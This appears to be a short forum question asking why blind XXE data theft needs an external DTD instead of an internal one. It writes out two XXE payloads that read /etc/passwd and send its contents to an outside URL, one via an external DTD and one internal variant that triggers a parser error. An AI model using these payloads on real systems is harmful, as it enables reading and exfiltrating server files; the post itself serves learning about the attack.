A proper blind XXE payload is:-
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r> File stored on http://127.0.0.1/dtd.xml <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>"> Now I didn't understand why do we need an External DTD. I have tried to use this below payload as internal dtd.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtdcall SYSTEM 'file:///etc/passwd' > <!ENTITY % test "<!ENTITY server SYSTEM 'http://192.168.0.3:808/?%dtdcall;'>">%test; ]><r>&server;</r> BUT I got an error:- PEReferences forbidden in internal subset in blah blah.
So anyone can explain this?